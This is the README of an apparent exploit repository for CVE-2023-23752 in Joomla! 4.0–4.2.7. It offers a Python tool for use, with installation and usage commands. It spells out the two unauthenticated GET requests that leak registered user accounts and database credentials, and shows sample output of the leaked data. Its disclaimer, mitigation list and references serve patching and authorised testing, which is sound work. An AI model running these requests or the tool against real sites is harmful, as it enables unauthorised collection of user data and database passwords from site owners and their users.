CVE-2023-23752 — Joomla! < 4.2.8 Unauthenticated Information Disclosure

⚠️ Disclaimer: This tool is intended for educational purposes and authorized penetration testing only. Use it only against systems you own or have explicit written permission to test. Unauthorized use is illegal.

Table of Contents

• Overview
• Vulnerability Details
• How It Works
• Requirements
• Installation
• Usage
• Examples
• Mitigations
• Credits
• References

Overview

Joomla! is one of the most widely used open-source content management systems (CMS). Versions 4.0.0 to 4.2.7 expose two API endpoints without proper access control, allowing an unauthenticated attacker to retrieve sensitive information: registered user accounts and, in vulnerable configurations, the site's database credentials.

The vulnerability was discovered by Zewei Zhang from NSFOCUS TIANJI Lab and disclosed to the Joomla! project, which released a patch in version 4.2.8. It was assigned CVE-2023-23752.

This repository contains a Python port of the original Ruby exploit released by ACCEIS.

Vulnerability Details

How It Works

Joomla's REST API webservice endpoints are supposed to enforce authentication and access checks before returning data. In affected versions, two endpoints fail to perform this check correctly when called with the public=true query parameter, treating the request as if it came from an anonymous "public" access level that should only expose non-sensitive data — but instead leaks internal information.

The Vulnerable Endpoints

GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true

• The users endpoint returns the full list of registered accounts: id, display name, username, email, and group membership.
• The config endpoint returns application configuration, including — when the installer hasn't been removed/hardened — the database host, username, password, database name, prefix, and encryption settings.

Exploit Flow

The script automates the following steps:

1. Send GET request to /api/index.php/v1/users?public=true
2. Parse the JSON:API response and extract user records
3. Send GET request to /api/index.php/v1/config/application?public=true
4. Parse the JSON:API response and extract site + database configuration
5. Print both datasets to the console

No authentication, session, or CSRF token is required at any point — the whole attack is two unauthenticated GET requests.

Requirements

• Python 3.8+
• requests

pip install requests --break-system-packages

Installation

git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages

Usage

usage: CVE-2023-23752.py [-h] url

positional arguments:
  url         Base URL of the target, e.g. http://dev.devvortex.htb

options:
  -h, --help  show this help message and exit

Examples

Basic usage

python3 CVE-2023-23752.py http://127.0.0.1:4242

Against an HTB-style target

python3 CVE-2023-23752.py http://dev.devvortex.htb

Sample output

=== Users ===
  [123] Administrator (admin) - [email protected] - ['Super Users']

=== Site info ===
  Site name: My Site
  Editor: tinymce
  Captcha: 0
  Access: 1
  Debug status: False

=== Database info ===
  DB type: mysqli
  DB host: localhost
  DB user: joomla_user
  DB password: ********
  DB name: joomla_db
  DB prefix: sd8f2_
  DB encryption: 0

Mitigations

• Update Joomla! to version 4.2.8 or later — this is the only complete fix.
• Restrict access to /api/index.php/* at the web server or WAF level if upgrading isn't immediately possible.
• Rotate credentials for any accounts or database users that may have been exposed via this endpoint prior to patching.
• Monitor access logs for unauthenticated requests to the /api/index.php/v1/ webservice paths.

Credits

• Vulnerability discovered by: Zewei Zhang, NSFOCUS TIANJI Lab
• Original exploit (Ruby): noraj (Alexandre ZANNI) for ACCEIS — original repository
• Python port: Bardlaudian

References

• NVD — CVE-2023-23752
• Exploit-DB — EDB-51334
• PacketStorm Advisory
• Joomla! Security Advisory
• Discoverer Advisory — NSFOCUS
• Original Ruby Exploit — Acceis